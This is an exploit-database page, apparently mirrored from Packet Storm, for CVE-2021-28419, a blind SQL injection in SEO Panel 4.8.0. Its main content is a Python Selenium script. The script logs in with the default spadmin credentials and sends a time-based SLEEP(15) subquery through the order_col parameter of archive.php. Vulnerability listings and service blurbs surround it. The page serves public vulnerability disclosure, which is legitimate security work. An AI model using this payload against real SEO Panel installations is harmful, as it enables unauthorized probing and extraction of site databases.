Lucene search
K

SEO Panel 4.8.0 SQL Injection

🗓️ 26 Apr 2021 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 262 Views

SEO Panel 4.8.0 SQL Injection on archive.php

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SEO Panel 4.8.0 - (order_col) Blind SQL Injection Exploit (2)
26 Apr 202100:00
zdt
Circl
CVE-2021-28419
18 Mar 202115:32
circl
CNNVD
SEO Panel SQL注入漏洞
18 Mar 202100:00
cnnvd
CNVD
SEO Panel Temporal SQL Blind Betting Vulnerability
19 Mar 202100:00
cnvd
CVE
CVE-2021-28419
18 Mar 202111:57
cve
Cvelist
CVE-2021-28419
18 Mar 202111:57
cvelist
Exploit DB
SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)
26 Apr 202100:00
exploitdb
EUVD
EUVD-2021-15098
7 Oct 202500:30
euvd
Nuclei
SEO Panel 4.8.0 - Blind SQL Injection
18 Mar 202322:07
nuclei
NVD
CVE-2021-28419
18 Mar 202112:15
nvd
Rows per page
`# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0  
# Author: nu11secur1ty  
# Testing and Debugging: nu11secur1ty  
# Date: 04.25.2021  
# Vendor: https://www.seopanel.org/  
# Link: https://www.seopanel.org/spdownload/4.8.0  
# CVE: CVE-2021-28419  
  
[+] Exploit Source:  
  
#!/usr/bin/python3  
# Author: @nu11secur1ty  
# CVE-2021-28419  
  
from selenium import webdriver  
import time  
  
  
#enter the link to the website you want to automate login.  
website_link="http://192.168.1.3/seopanel/login.php"  
  
#enter your login username  
username="spadmin"  
  
#enter your login password  
password="spadmin"  
  
#enter the element for username input field  
element_for_username="userName"  
  
#enter the element for password input field  
element_for_password="password"  
  
#enter the element for submit button  
element_for_submit="login"  
  
  
browser = webdriver.Chrome()  
browser.get((website_link))  
  
try:  
username_element = browser.find_element_by_name(element_for_username)  
username_element.send_keys(username)  
password_element = browser.find_element_by_name(element_for_password)  
password_element.send_keys(password)  
signInButton = browser.find_element_by_name(element_for_submit)  
signInButton.click()  
  
# Exploit  
browser.get(("  
http://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT  
7397 FROM  
(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1"))  
  
print("payload is deployed MySQL is not responding correctly...\n")  
  
except Exception:  
#### This exception occurs if the element are not found in the webpage.  
print("Some error occured :(")  
  
---------------------------------  
  
# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0  
# Date: 04.25.2021  
# Exploit Authotr idea: @nu11secur1ty, xoffense  
# Exploit Debugging: nu11secur1ty  
# Vendor Homepage: https://www.seopanel.org/  
# Software Link: https://www.seopanel.org/spdownload/4.8.0  
  
# Steps to Reproduce:  
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28419  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation